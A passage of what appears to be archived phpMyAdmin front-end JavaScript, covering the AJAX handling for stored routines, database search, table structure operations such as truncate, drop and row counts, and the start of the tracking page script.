dropAnchors.length; var returnCount = 0; dropAnchors.each(function () { var $anchor = $(this); /** * @var $curr_row Object containing reference to the current row */ var $currRow = $anchor.parents('tr'); var params = Functions.getJsConfirmCommonParam(this, $anchor.getPostData()); $.post($anchor.attr('href'), params, function (data) { returnCount++; if (data.success === true) { /** * @var $table Object containing reference * to the main list of elements */ var $table = $currRow.parent().parent(); // Check how many rows will be left after we remove // the one that the user has requested us to remove if ($table.find('tr').length === 3) { // If there are two rows left, it means that they are // the header of the table and the rows that we are // about to remove, so after the removal there will be // nothing to show in the table, so we hide it. $table.hide('slow', function () { $(this).find('tr.even, tr.odd').remove(); $('.withSelected').remove(); $('#nothing2display').show('slow'); }); } else { $currRow.hide('fast', function () { // we will iterate // through all rows and assign correct classes to them. /** * @var ct Count of processed rows */ var ct = 0; /** * @var rowclass Class to be attached to the row * that is being processed */ var rowclass = ''; $table.find('tr').has('td').each(function () { rowclass = ct % 2 === 1 ? 'odd' : 'even'; $(this).removeClass('odd even').addClass(rowclass); ct++; }); }); $currRow.remove(); } if (returnCount === count) { if (success) { // Get rid of the "Loading" message Functions.ajaxRemoveMessage($msg); $('#rteListForm_checkall').prop({ checked: false, indeterminate: false }); } Navigation.reload(); } } else { Functions.ajaxShowMessage(data.error, false); success = false; if (returnCount === count) { Navigation.reload(); } } }); // end $.post() }); // end drop_anchors.each() }); }, /** * Execute some code after the ajax dialog for the editor is shown. * * @param data JSON-encoded data from the ajax request */ postDialogShow: function (data) { // Cache the template for a parameter table row DatabaseRoutines.paramTemplate = data.paramTemplate; var that = this; // Make adjustments in the dialog to make it AJAX compatible $('td.routine_param_remove').show(); // Enable/disable the 'options' dropdowns for parameters as necessary $('table.routine_params_table').last().find('th[colspan=2]').attr('colspan', '1'); $('table.routine_params_table').last().find('tr').has('td').each(function () { that.setOptionsForParameter($(this).find('select[name^=item_param_type]'), $(this).find('input[name^=item_param_length]'), $(this).find('select[name^=item_param_opts_text]'), $(this).find('select[name^=item_param_opts_num]')); }); // Enable/disable the 'options' dropdowns for // function return value as necessary this.setOptionsForParameter($('table.rte_table').last().find('select[name=item_returntype]'), $('table.rte_table').last().find('input[name=item_returnlength]'), $('table.rte_table').last().find('select[name=item_returnopts_text]'), $('table.rte_table').last().find('select[name=item_returnopts_num]')); // Allow changing parameter order $('.routine_params_table tbody').sortable({ containment: '.routine_params_table tbody', handle: '.dragHandle', stop: function () { that.reindexParameters(); } }); }, /** * Reindexes the parameters after dropping a parameter or reordering parameters */ reindexParameters: function () { /** * @var index Counter used for reindexing the input * fields in the routine parameters table */ var index = 0; $('table.routine_params_table tbody').find('tr').each(function () { $(this).find(':input').each(function () { /** * @var inputname The value of the name attribute of * the input field being reindexed */ var inputname = $(this).attr('name'); if (inputname.substr(0, 14) === 'item_param_dir') { $(this).attr('name', inputname.substr(0, 14) + '[' + index + ']'); } else if (inputname.substr(0, 15) === 'item_param_name') { $(this).attr('name', inputname.substr(0, 15) + '[' + index + ']'); } else if (inputname.substr(0, 15) === 'item_param_type') { $(this).attr('name', inputname.substr(0, 15) + '[' + index + ']'); } else if (inputname.substr(0, 17) === 'item_param_length') { $(this).attr('name', inputname.substr(0, 17) + '[' + index + ']'); $(this).attr('id', 'item_param_length_' + index); } else if (inputname.substr(0, 20) === 'item_param_opts_text') { $(this).attr('name', inputname.substr(0, 20) + '[' + index + ']'); } else if (inputname.substr(0, 19) === 'item_param_opts_num') { $(this).attr('name', inputname.substr(0, 19) + '[' + index + ']'); } }); index++; }); }, /** * Validate custom editor form fields. * * @return {bool} */ validateCustom: function () { /** * @var isSuccess Stores the outcome of the validation */ var isSuccess = true; /** * @var inputname The value of the "name" attribute for * the field that is being processed */ var inputname = ''; this.$ajaxDialog.find('table.routine_params_table').last().find('tr').each(function () { // Every parameter of a routine must have // a non-empty direction, name and type if (isSuccess) { $(this).find(':input').each(function () { inputname = $(this).attr('name'); if (inputname.substr(0, 14) === 'item_param_dir' || inputname.substr(0, 15) === 'item_param_name' || inputname.substr(0, 15) === 'item_param_type') { if ($(this).val() === '') { $(this).trigger('focus'); isSuccess = false; return false; } } }); } else { return false; } }); if (!isSuccess) { alert(Messages.strFormEmpty); return false; } this.$ajaxDialog.find('table.routine_params_table').last().find('tr').each(function () { // SET, ENUM, VARCHAR and VARBINARY fields must have length/values var $inputtyp = $(this).find('select[name^=item_param_type]'); var $inputlen = $(this).find('input[name^=item_param_length]'); if ($inputtyp.length && $inputlen.length) { if (($inputtyp.val() === 'ENUM' || $inputtyp.val() === 'SET' || $inputtyp.val().substr(0, 3) === 'VAR') && $inputlen.val() === '') { $inputlen.trigger('focus'); isSuccess = false; return false; } } }); if (!isSuccess) { alert(Messages.strFormEmpty); return false; } if (this.$ajaxDialog.find('select[name=item_type]').find(':selected').val() === 'FUNCTION') { // The length/values of return variable for functions must // be set, if the type is SET, ENUM, VARCHAR or VARBINARY. var $returntyp = this.$ajaxDialog.find('select[name=item_returntype]'); var $returnlen = this.$ajaxDialog.find('input[name=item_returnlength]'); if (($returntyp.val() === 'ENUM' || $returntyp.val() === 'SET' || $returntyp.val().substr(0, 3) === 'VAR') && $returnlen.val() === '') { $returnlen.trigger('focus'); alert(Messages.strFormEmpty); return false; } } if ($('select[name=item_type]').find(':selected').val() === 'FUNCTION') { // A function must contain a RETURN statement in its definition if (this.$ajaxDialog.find('table.rte_table').find('textarea[name=item_definition]').val().toUpperCase().indexOf('RETURN') < 0) { this.syntaxHiglighter.focus(); alert(Messages.MissingReturn); return false; } } return true; }, /** * Enable/disable the "options" dropdown and "length" input for * parameters and the return variable in the routine editor * as necessary. * * @param $type a jQuery object containing the reference * to the "Type" dropdown box * @param $len a jQuery object containing the reference * to the "Length" input box * @param $text a jQuery object containing the reference * to the dropdown box with options for * parameters of text type * @param $num a jQuery object containing the reference * to the dropdown box with options for * parameters of numeric type */ setOptionsForParameter: function ($type, $len, $text, $num) { /** * @var no_opts a jQuery object containing the reference * to an element to be displayed when no * options are available */ var $noOpts = $text.parent().parent().find('.no_opts'); /** * @var no_len a jQuery object containing the reference * to an element to be displayed when no * "length/values" field is available */ var $noLen = $len.parent().parent().find('.no_len'); // Process for parameter options switch ($type.val()) { case 'TINYINT': case 'SMALLINT': case 'MEDIUMINT': case 'INT': case 'BIGINT': case 'DECIMAL': case 'FLOAT': case 'DOUBLE': case 'REAL': $text.parent().hide(); $num.parent().show(); $noOpts.hide(); break; case 'TINYTEXT': case 'TEXT': case 'MEDIUMTEXT': case 'LONGTEXT': case 'CHAR': case 'VARCHAR': case 'SET': case 'ENUM': $text.parent().show(); $num.parent().hide(); $noOpts.hide(); break; default: $text.parent().hide(); $num.parent().hide(); $noOpts.show(); break; } // Process for parameter length switch ($type.val()) { case 'DATE': case 'TINYBLOB': case 'TINYTEXT': case 'BLOB': case 'TEXT': case 'MEDIUMBLOB': case 'MEDIUMTEXT': case 'LONGBLOB': case 'LONGTEXT': $text.closest('tr').find('a').first().hide(); $len.parent().hide(); $noLen.show(); break; default: if ($type.val() === 'ENUM' || $type.val() === 'SET') { $text.closest('tr').find('a').first().show(); } else { $text.closest('tr').find('a').first().hide(); } $len.parent().show(); $noLen.hide(); break; } }, executeDialog: function ($this) { /** * @var msg jQuery object containing the reference to * the AJAX message shown to the user */ var $msg = Functions.ajaxShowMessage(); var params = Functions.getJsConfirmCommonParam($this[0], $this.getPostData()); $.post($this.attr('href'), params, function (data) { if (data.success === true) { Functions.ajaxRemoveMessage($msg); // If 'data.dialog' is true we show a dialog with a form // to get the input parameters for routine, otherwise // we just show the results of the query if (data.dialog) { var buttonOptions = { [Messages.strGo]: { text: Messages.strGo, class: 'btn btn-primary' }, [Messages.strClose]: { text: Messages.strClose, class: 'btn btn-secondary' } }; // Define the function that is called when // the user presses the "Go" button buttonOptions[Messages.strGo].click = function () { /** * @var data Form data to be sent in the AJAX request */ var data = $('form.rte_form').last().serialize(); $msg = Functions.ajaxShowMessage(Messages.strProcessingRequest); $.post('index.php?route=/database/routines', data, function (data) { if (data.success === true) { // Routine executed successfully Functions.ajaxRemoveMessage($msg); Functions.slidingMessage(data.message); $ajaxDialog.dialog('close'); } else { Functions.ajaxShowMessage(data.error, false); } }); }; buttonOptions[Messages.strClose].click = function () { $(this).dialog('close'); }; /** * Display the dialog to the user */ var $ajaxDialog = $('
' + data.message + '
').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, width: 650, buttons: buttonOptions, title: data.title, modal: true, close: function () { $(this).remove(); } }); $ajaxDialog.find('input[name^=params]').first().trigger('focus'); /** * Attach the datepickers to the relevant form fields */ $ajaxDialog.find('input.datefield, input.datetimefield').each(function () { Functions.addDatepicker($(this).css('width', '95%')); }); /* * Define the function if the user presses enter */ $('form.rte_form').on('keyup', function (event) { event.preventDefault(); if (event.keyCode === 13) { /** * @var data Form data to be sent in the AJAX request */ var data = $(this).serialize(); $msg = Functions.ajaxShowMessage(Messages.strProcessingRequest); var url = $(this).attr('action'); $.post(url, data, function (data) { if (data.success === true) { // Routine executed successfully Functions.ajaxRemoveMessage($msg); Functions.slidingMessage(data.message); $('form.rte_form').off('keyup'); $ajaxDialog.remove(); } else { Functions.ajaxShowMessage(data.error, false); } }); } }); } else { // Routine executed successfully Functions.slidingMessage(data.message); } } else { Functions.ajaxShowMessage(data.error, false); } }); // end $.post() } }; AJAX.registerOnload('database/routines.js', function () { $(document).on('click', 'a.ajax.add_anchor', function (event) { event.preventDefault(); $.datepicker.initialized = false; DatabaseRoutines.editorDialog(true, $(this)); }); $(document).on('click', 'a.ajax.edit_anchor', function (event) { event.preventDefault(); DatabaseRoutines.editorDialog(false, $(this)); }); $(document).on('click', 'a.ajax.exec_anchor', function (event) { event.preventDefault(); DatabaseRoutines.executeDialog($(this)); }); $(document).on('click', 'a.ajax.export_anchor', function (event) { event.preventDefault(); DatabaseRoutines.exportDialog($(this)); }); $(document).on('click', '#bulkActionExportButton', function (event) { event.preventDefault(); DatabaseRoutines.exportDialog($(this)); }); $(document).on('click', 'a.ajax.drop_anchor', function (event) { event.preventDefault(); DatabaseRoutines.dropDialog($(this)); }); $(document).on('click', '#bulkActionDropButton', function (event) { event.preventDefault(); DatabaseRoutines.dropMultipleDialog($(this)); }); $(document).on('change', 'select[name=item_type]', function () { $(this).closest('table').find('tr.routine_return_row, .routine_direction_cell').toggle(); }); $(document).on('change', 'select[name^=item_param_type]', function () { const $row = $(this).parents('tr').first(); DatabaseRoutines.setOptionsForParameter($row.find('select[name^=item_param_type]'), $row.find('input[name^=item_param_length]'), $row.find('select[name^=item_param_opts_text]'), $row.find('select[name^=item_param_opts_num]')); }); $(document).on('change', 'select[name=item_returntype]', function () { const $table = $(this).closest('table.rte_table'); DatabaseRoutines.setOptionsForParameter($table.find('select[name=item_returntype]'), $table.find('input[name=item_returnlength]'), $table.find('select[name=item_returnopts_text]'), $table.find('select[name=item_returnopts_num]')); }); $(document).on('click', '#addRoutineParameterButton', function (event) { event.preventDefault(); /** * @var routine_params_table jQuery object containing the reference * to the routine parameters table */ const $routineParamsTable = $(this).closest('div.ui-dialog').find('.routine_params_table'); /** * @var new_param_row A string containing the HTML code for the * new row for the routine parameters table */ const newParamRow = DatabaseRoutines.paramTemplate.replace(/%s/g, $routineParamsTable.find('tr').length - 1); // Append the new row to the parameters table $routineParamsTable.append(newParamRow); // Make sure that the row is correctly shown according to the type of routine if ($(this).closest('div.ui-dialog').find('table.rte_table select[name=item_type]').val() === 'FUNCTION') { $('tr.routine_return_row').show(); $('td.routine_direction_cell').hide(); } /** * @var newrow jQuery object containing the reference to the newly * inserted row in the routine parameters table */ const $newrow = $(this).closest('div.ui-dialog').find('table.routine_params_table').find('tr').has('td').last(); // Enable/disable the 'options' dropdowns for parameters as necessary DatabaseRoutines.setOptionsForParameter($newrow.find('select[name^=item_param_type]'), $newrow.find('input[name^=item_param_length]'), $newrow.find('select[name^=item_param_opts_text]'), $newrow.find('select[name^=item_param_opts_num]')); }); $(document).on('click', 'a.routine_param_remove_anchor', function (event) { event.preventDefault(); $(this).parent().parent().remove(); // After removing a parameter, the indices of the name attributes in // the input fields lose the correct order and need to be reordered. DatabaseRoutines.reindexParameters(); }); });dist/database/search.js000066600000017515151724472050011102 0ustar00/** * JavaScript functions used on Database Search page * * @requires jQuery * @requires js/functions.js * * @package PhpMyAdmin */ /* global makeGrid */ // js/makegrid.js /** * AJAX script for the Database Search page. * * Actions ajaxified here: * Retrieve result of SQL query */ /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('database/search.js', function () { $('a.browse_results').off('click'); $('a.delete_results').off('click'); $('#buttonGo').off('click'); $('#togglesearchresultlink').off('click'); $('#togglequerybox').off('click'); $('#togglesearchformlink').off('click'); $('#select_all').off('click'); $('#unselect_all').off('click'); $(document).off('submit', '#db_search_form.ajax'); }); AJAX.registerOnload('database/search.js', function () { /** Hide the table link in the initial search result */ var icon = Functions.getImage('s_tbl', '', { 'id': 'table-image' }).toString(); $('#table-info').prepend(icon).hide(); /** Hide the browse and deleted results in the new search criteria */ $('#buttonGo').on('click', function () { $('#table-info').hide(); $('#browse-results').hide(); $('#sqlqueryform').hide(); $('#togglequerybox').hide(); }); /** * Prepare a div containing a link for toggle the search results */ $('#togglesearchresultsdiv') /** don't show it until we have results on-screen */.hide(); /** * Changing the displayed text according to * the hide/show criteria in search result forms */ $('#togglesearchresultlink').html(Messages.strHideSearchResults).on('click', function () { var $link = $(this); $('#searchresults').slideToggle(); if ($link.text() === Messages.strHideSearchResults) { $link.text(Messages.strShowSearchResults); } else { $link.text(Messages.strHideSearchResults); } /** avoid default click action */ return false; }); /** * Prepare a div containing a link for toggle the search form, * otherwise it's incorrectly displayed after a couple of clicks */ $('#togglesearchformdiv').hide(); // don't show it until we have results on-screen /** * Changing the displayed text according to * the hide/show criteria in search form */ $('#togglequerybox').hide().on('click', function () { var $link = $(this); $('#sqlqueryform').slideToggle('medium'); if ($link.text() === Messages.strHideQueryBox) { $link.text(Messages.strShowQueryBox); } else { $link.text(Messages.strHideQueryBox); } /** avoid default click action */ return false; }); /** don't show it until we have results on-screen */ /** * Changing the displayed text according to * the hide/show criteria in search criteria form */ $('#togglesearchformlink').html(Messages.strShowSearchCriteria).on('click', function () { var $link = $(this); $('#db_search_form').slideToggle(); if ($link.text() === Messages.strHideSearchCriteria) { $link.text(Messages.strShowSearchCriteria); } else { $link.text(Messages.strHideSearchCriteria); } /** avoid default click action */ return false; }); /* * Ajax Event handler for retrieving the results from a table */ $(document).on('click', 'a.browse_results', function (e) { e.preventDefault(); /** Hides the results shown by the delete criteria */ var $msg = Functions.ajaxShowMessage(Messages.strBrowsing, false); $('#sqlqueryform').hide(); $('#togglequerybox').hide(); /** Load the browse results to the page */ $('#table-info').show(); var tableName = $(this).data('table-name'); $('#table-link').attr({ 'href': $(this).attr('href') }).text(tableName); var url = $(this).attr('href') + '#searchresults'; var browseSql = $(this).data('browse-sql'); var params = { 'ajax_request': true, 'is_js_confirmed': true, 'sql_query': browseSql }; $.post(url, params, function (data) { if (typeof data !== 'undefined' && data.success) { $('#browse-results').html(data.message); Functions.ajaxRemoveMessage($msg); $('.table_results').each(function () { makeGrid(this, true, true, true, true); }); $('#browse-results').show(); Functions.highlightSql($('#browse-results')); $('html, body').animate({ scrollTop: $('#browse-results').offset().top }, 1000); } else { Functions.ajaxShowMessage(data.error, false); } }); }); /* * Ajax Event handler for deleting the results from a table */ $(document).on('click', 'a.delete_results', function (e) { e.preventDefault(); /** Hides the results shown by the browse criteria */ $('#table-info').hide(); $('#sqlqueryform').hide(); $('#togglequerybox').hide(); /** Conformation message for deletion */ var msg = Functions.sprintf(Messages.strConfirmDeleteResults, $(this).data('table-name')); if (confirm(msg)) { var $msg = Functions.ajaxShowMessage(Messages.strDeleting, false); /** Load the deleted option to the page*/ $('#sqlqueryform').html(''); var params = { 'ajax_request': true, 'is_js_confirmed': true, 'sql_query': $(this).data('delete-sql') }; var url = $(this).attr('href'); $.post(url, params, function (data) { if (typeof data === 'undefined' || !data.success) { Functions.ajaxShowMessage(data.error, false); return; } $('#sqlqueryform').html(data.sql_query); /** Refresh the search results after the deletion */ $('#buttonGo').trigger('click'); $('#togglequerybox').html(Messages.strHideQueryBox); /** Show the results of the deletion option */ $('#browse-results').hide(); $('#sqlqueryform').show(); $('#togglequerybox').show(); $('html, body').animate({ scrollTop: $('#browse-results').offset().top }, 1000); Functions.ajaxRemoveMessage($msg); }); } }); /** * Ajax Event handler for retrieving the result of an SQL Query */ $(document).on('submit', '#db_search_form.ajax', function (event) { event.preventDefault(); if ($('#criteriaTables :selected').length === 0) { Functions.ajaxShowMessage(Messages.strNoTableSelected); return; } var $msgbox = Functions.ajaxShowMessage(Messages.strSearching, false); // jQuery object to reuse var $form = $(this); Functions.prepareForAjaxRequest($form); var url = $form.serialize() + CommonParams.get('arg_separator') + 'submit_search=' + $('#buttonGo').val(); $.post($form.attr('action'), url, function (data) { if (typeof data !== 'undefined' && data.success === true) { // found results $('#searchresults').html(data.message); $('#togglesearchresultlink') // always start with the Show message .text(Messages.strHideSearchResults); $('#togglesearchresultsdiv') // now it's time to show the div containing the link .show(); $('#searchresults').show(); $('#db_search_form') // workaround for Chrome problem (bug #3168569) .slideToggle().hide(); $('#togglesearchformlink') // always start with the Show message .text(Messages.strShowSearchCriteria); $('#togglesearchformdiv') // now it's time to show the div containing the link .show(); } else { // error message (zero rows) $('#searchresults').html(data.error).show(); } Functions.ajaxRemoveMessage($msgbox); }); }); $('#select_all').on('click', function () { Functions.setSelectOptions('db_search', 'criteriaTables[]', true); return false; }); $('#unselect_all').on('click', function () { Functions.setSelectOptions('db_search', 'criteriaTables[]', false); return false; }); }); // end $()dist/database/structure.js000066600000034535151724472050011676 0ustar00/** * @fileoverview functions used on the database structure page * @name Database Structure * * @requires jQuery * @requires jQueryUI * @required js/functions.js */ var DatabaseStructure = {}; /** * AJAX scripts for /database/structure * * Actions ajaxified here: * Drop Database * Truncate Table * Drop Table * */ /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('database/structure.js', function () { $(document).off('click', 'a.truncate_table_anchor.ajax'); $(document).off('click', 'a.drop_table_anchor.ajax'); $(document).off('click', '#real_end_input'); $(document).off('click', 'a.favorite_table_anchor.ajax'); $('a.real_row_count').off('click'); $('a.row_count_sum').off('click'); $('select[name=submit_mult]').off('change'); }); /** * Adjust number of rows and total size in the summary * when truncating, creating, dropping or inserting into a table */ DatabaseStructure.adjustTotals = function () { var byteUnits = [Messages.strB, Messages.strKiB, Messages.strMiB, Messages.strGiB, Messages.strTiB, Messages.strPiB, Messages.strEiB]; /** * @var $allTr jQuery object that references all the rows in the list of tables */ var $allTr = $('#tablesForm').find('table.data tbody').first().find('tr'); // New summary values for the table var tableSum = $allTr.length; var rowsSum = 0; var sizeSum = 0; var overheadSum = 0; var rowSumApproximated = false; $allTr.each(function () { var $this = $(this); var i; var tmpVal; // Get the number of rows for this SQL table var strRows = $this.find('.tbl_rows').text(); // If the value is approximated if (strRows.indexOf('~') === 0) { rowSumApproximated = true; // The approximated value contains a preceding ~ (Eg 100 --> ~100) strRows = strRows.substring(1, strRows.length); } strRows = strRows.replace(/[,.\s]/g, ''); var intRow = parseInt(strRows, 10); if (!isNaN(intRow)) { rowsSum += intRow; } // Extract the size and overhead var valSize = 0; var valOverhead = 0; var strSize = $this.find('.tbl_size span:not(.unit)').text().trim(); var strSizeUnit = $this.find('.tbl_size span.unit').text().trim(); var strOverhead = $this.find('.tbl_overhead span:not(.unit)').text().trim(); var strOverheadUnit = $this.find('.tbl_overhead span.unit').text().trim(); // Given a value and a unit, such as 100 and KiB, for the table size // and overhead calculate their numeric values in bytes, such as 102400 for (i = 0; i < byteUnits.length; i++) { if (strSizeUnit === byteUnits[i]) { tmpVal = parseFloat(strSize); valSize = tmpVal * Math.pow(1024, i); break; } } for (i = 0; i < byteUnits.length; i++) { if (strOverheadUnit === byteUnits[i]) { tmpVal = parseFloat(strOverhead); valOverhead = tmpVal * Math.pow(1024, i); break; } } sizeSum += valSize; overheadSum += valOverhead; }); // Add some commas for readability: // 1000000 becomes 1,000,000 var strRowSum = rowsSum + ''; var regex = /(\d+)(\d{3})/; while (regex.test(strRowSum)) { strRowSum = strRowSum.replace(regex, '$1' + ',' + '$2'); } // If approximated total value add ~ in front if (rowSumApproximated) { strRowSum = '~' + strRowSum; } // Calculate the magnitude for the size and overhead values var sizeMagnitude = 0; var overheadMagnitude = 0; while (sizeSum >= 1024) { sizeSum /= 1024; sizeMagnitude++; } while (overheadSum >= 1024) { overheadSum /= 1024; overheadMagnitude++; } sizeSum = Math.round(sizeSum * 10) / 10; overheadSum = Math.round(overheadSum * 10) / 10; // Update summary with new data var $summary = $('#tbl_summary_row'); $summary.find('.tbl_num').text(Functions.sprintf(Messages.strNTables, tableSum)); if (rowSumApproximated) { $summary.find('.row_count_sum').text(strRowSum); } else { $summary.find('.tbl_rows').text(strRowSum); } $summary.find('.tbl_size').text(sizeSum + ' ' + byteUnits[sizeMagnitude]); $summary.find('.tbl_overhead').text(overheadSum + ' ' + byteUnits[overheadMagnitude]); }; /** * Gets the real row count for a table or DB. * @param {object} $target Target for appending the real count value. */ DatabaseStructure.fetchRealRowCount = function ($target) { var $throbber = $('#pma_navigation').find('.throbber').first().clone().css({ visibility: 'visible', display: 'inline-block' }).on('click', false); $target.html($throbber); $.ajax({ type: 'GET', url: $target.attr('href'), cache: false, dataType: 'json', success: function (response) { if (response.success) { // If to update all row counts for a DB. if (response.real_row_count_all) { $.each(JSON.parse(response.real_row_count_all), function (index, table) { // Update each table row count. $('table.data td[data-table*="' + table.table + '"]').text(table.row_count); }); } // If to update a particular table's row count. if (response.real_row_count) { // Append the parent cell with real row count. $target.parent().text(response.real_row_count); } // Adjust the 'Sum' displayed at the bottom. DatabaseStructure.adjustTotals(); } else { Functions.ajaxShowMessage(Messages.strErrorRealRowCount); } }, error: function () { Functions.ajaxShowMessage(Messages.strErrorRealRowCount); } }); }; AJAX.registerOnload('database/structure.js', function () { /** * Event handler on select of "Make consistent with central list" */ $('select[name=submit_mult]').on('change', function (event) { var url = 'index.php?route=/database/structure'; var action = $(this).val(); if (action === 'make_consistent_with_central_list') { event.preventDefault(); event.stopPropagation(); $('#makeConsistentWithCentralListModal').modal('show').on('shown.bs.modal', function () { $('#makeConsistentWithCentralListContinue').on('click', function () { const $form = $('#tablesForm'); const argSep = CommonParams.get('arg_separator'); const data = $form.serialize() + argSep + 'ajax_request=true' + argSep + 'ajax_page_request=true'; Functions.ajaxShowMessage(); AJAX.source = $form; $.post('index.php?route=/database/structure/central-columns/make-consistent', data, AJAX.responseHandler); $('#makeConsistentWithCentralListModal').modal('hide'); }); }); return; } if (action === 'copy_tbl' || action === 'add_prefix_tbl' || action === 'replace_prefix_tbl' || action === 'copy_tbl_change_prefix') { event.preventDefault(); event.stopPropagation(); if ($('input[name="selected_tbl[]"]:checked').length === 0) { return false; } var formData = $('#tablesForm').serialize(); var modalTitle = ''; if (action === 'copy_tbl') { url = 'index.php?route=/database/structure/copy-form'; modalTitle = Messages.strCopyTablesTo; } else if (action === 'add_prefix_tbl') { url = 'index.php?route=/database/structure/add-prefix'; modalTitle = Messages.strAddPrefix; } else if (action === 'replace_prefix_tbl') { url = 'index.php?route=/database/structure/change-prefix-form'; modalTitle = Messages.strReplacePrefix; } else if (action === 'copy_tbl_change_prefix') { url = 'index.php?route=/database/structure/change-prefix-form'; modalTitle = Messages.strCopyPrefix; } $.ajax({ type: 'POST', url: url, dataType: 'html', data: formData }).done(function (modalBody) { const bulkActionModal = $('#bulkActionModal'); bulkActionModal.on('show.bs.modal', function () { this.querySelector('.modal-title').innerText = modalTitle; this.querySelector('.modal-body').innerHTML = modalBody; }); bulkActionModal.modal('show').on('shown.bs.modal', function () { $('#bulkActionContinue').on('click', function () { $('#ajax_form').trigger('submit'); $('#bulkActionModal').modal('hide'); }); }); }); return; } if (action === 'analyze_tbl') { url = 'index.php?route=/table/maintenance/analyze'; } else if (action === 'sync_unique_columns_central_list') { url = 'index.php?route=/database/structure/central-columns/add'; } else if (action === 'delete_unique_columns_central_list') { url = 'index.php?route=/database/structure/central-columns/remove'; } else if (action === 'check_tbl') { url = 'index.php?route=/table/maintenance/check'; } else if (action === 'checksum_tbl') { url = 'index.php?route=/table/maintenance/checksum'; } else if (action === 'drop_tbl') { url = 'index.php?route=/database/structure/drop-form'; } else if (action === 'empty_tbl') { url = 'index.php?route=/database/structure/empty-form'; } else if (action === 'export') { url = 'index.php?route=/export/tables'; } else if (action === 'optimize_tbl') { url = 'index.php?route=/table/maintenance/optimize'; } else if (action === 'repair_tbl') { url = 'index.php?route=/table/maintenance/repair'; } else if (action === 'show_create') { url = 'index.php?route=/database/structure/show-create'; } else { $('#tablesForm').trigger('submit'); return; } var $form = $(this).parents('form'); var argsep = CommonParams.get('arg_separator'); var data = $form.serialize() + argsep + 'ajax_request=true' + argsep + 'ajax_page_request=true'; Functions.ajaxShowMessage(); AJAX.source = $form; $.post(url, data, AJAX.responseHandler); }); /** * Ajax Event handler for 'Truncate Table' */ $(document).on('click', 'a.truncate_table_anchor.ajax', function (event) { event.preventDefault(); /** * @var $this_anchor Object referring to the anchor clicked */ var $thisAnchor = $(this); // extract current table name and build the question string /** * @var curr_table_name String containing the name of the table to be truncated */ var currTableName = $thisAnchor.parents('tr').children('th').children('a').text(); /** * @var question String containing the question to be asked for confirmation */ var question = Messages.strTruncateTableStrongWarning + ' ' + Functions.sprintf(Messages.strDoYouReally, 'TRUNCATE `' + Functions.escapeHtml(currTableName) + '`') + Functions.getForeignKeyCheckboxLoader(); $thisAnchor.confirm(question, $thisAnchor.attr('href'), function (url) { Functions.ajaxShowMessage(Messages.strProcessingRequest); var params = Functions.getJsConfirmCommonParam(this, $thisAnchor.getPostData()); $.post(url, params, function (data) { if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxShowMessage(data.message); // Adjust table statistics var $tr = $thisAnchor.closest('tr'); $tr.find('.tbl_rows').text('0'); $tr.find('.tbl_size, .tbl_overhead').text('-'); DatabaseStructure.adjustTotals(); } else { Functions.ajaxShowMessage(Messages.strErrorProcessingRequest + ' : ' + data.error, false); } }); // end $.post() }, Functions.loadForeignKeyCheckbox); }); // end of Truncate Table Ajax action /** * Ajax Event handler for 'Drop Table' or 'Drop View' */ $(document).on('click', 'a.drop_table_anchor.ajax', function (event) { event.preventDefault(); var $thisAnchor = $(this); // extract current table name and build the question string /** * @var $curr_row Object containing reference to the current row */ var $currRow = $thisAnchor.parents('tr'); /** * @var curr_table_name String containing the name of the table to be truncated */ var currTableName = $currRow.children('th').children('a').text(); /** * @var is_view Boolean telling if we have a view */ var isView = $currRow.hasClass('is_view') || $thisAnchor.hasClass('view'); /** * @var question String containing the question to be asked for confirmation */ var question; if (!isView) { question = Messages.strDropTableStrongWarning + ' ' + Functions.sprintf(Messages.strDoYouReally, 'DROP TABLE `' + Functions.escapeHtml(currTableName) + '`'); } else { question = Functions.sprintf(Messages.strDoYouReally, 'DROP VIEW `' + Functions.escapeHtml(currTableName) + '`'); } question += Functions.getForeignKeyCheckboxLoader(); $thisAnchor.confirm(question, $thisAnchor.attr('href'), function (url) { var $msg = Functions.ajaxShowMessage(Messages.strProcessingRequest); var params = Functions.getJsConfirmCommonParam(this, $thisAnchor.getPostData()); $.post(url, params, function (data) { if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxShowMessage(data.message); $currRow.hide('medium').remove(); DatabaseStructure.adjustTotals(); Navigation.reload(); Functions.ajaxRemoveMessage($msg); } else { Functions.ajaxShowMessage(Messages.strErrorProcessingRequest + ' : ' + data.error, false); } }); // end $.post() }, Functions.loadForeignKeyCheckbox); }); // end of Drop Table Ajax action // Calculate Real End for InnoDB /** * Ajax Event handler for calculating the real end for a InnoDB table * */ $(document).on('click', '#real_end_input', function (event) { event.preventDefault(); /** * @var question String containing the question to be asked for confirmation */ var question = Messages.strOperationTakesLongTime; $(this).confirm(question, '', function () { return true; }); return false; }); // end Calculate Real End for InnoDB // Add tooltip to favorite icons. $('.favorite_table_anchor').each(function () { Functions.tooltip($(this), 'a', $(this).attr('title')); }); // Get real row count via Ajax. $('a.real_row_count').on('click', function (event) { event.preventDefault(); DatabaseStructure.fetchRealRowCount($(this)); }); // Get all real row count. $('a.row_count_sum').on('click', function (event) { event.preventDefault(); DatabaseStructure.fetchRealRowCount($(this)); }); });dist/database/tracking.js000066600000006630151724472050011433 0ustar00/** * Unbind all event handlers before tearing down the page */ AJAX.registerTeardown('database/tracking.js', function () { $('body').off('click', '#trackedForm.ajax button[name="submit_mult"], #trackedForm.ajax input[name="submit_mult"]'); $('body').off('click', '#untrackedForm.ajax button[name="submit_mult"], #untrackedForm.ajax input[name="submit_mult"]'); $('body').off('click', 'a.delete_tracking_anchor.ajax'); }); /** * Bind event handlers */ AJAX.registerOnload('database/tracking.js', function () { var $versions = $('#versions'); $versions.find('tr').first().find('th').append($('
')); $versions.tablesorter({ sortList: [[1, 0]], headers: { 0: { sorter: false }, 2: { sorter: 'integer' }, 5: { sorter: false }, 6: { sorter: false }, 7: { sorter: false } } }); var $noVersions = $('#noversions'); $noVersions.find('tr').first().find('th').append($('
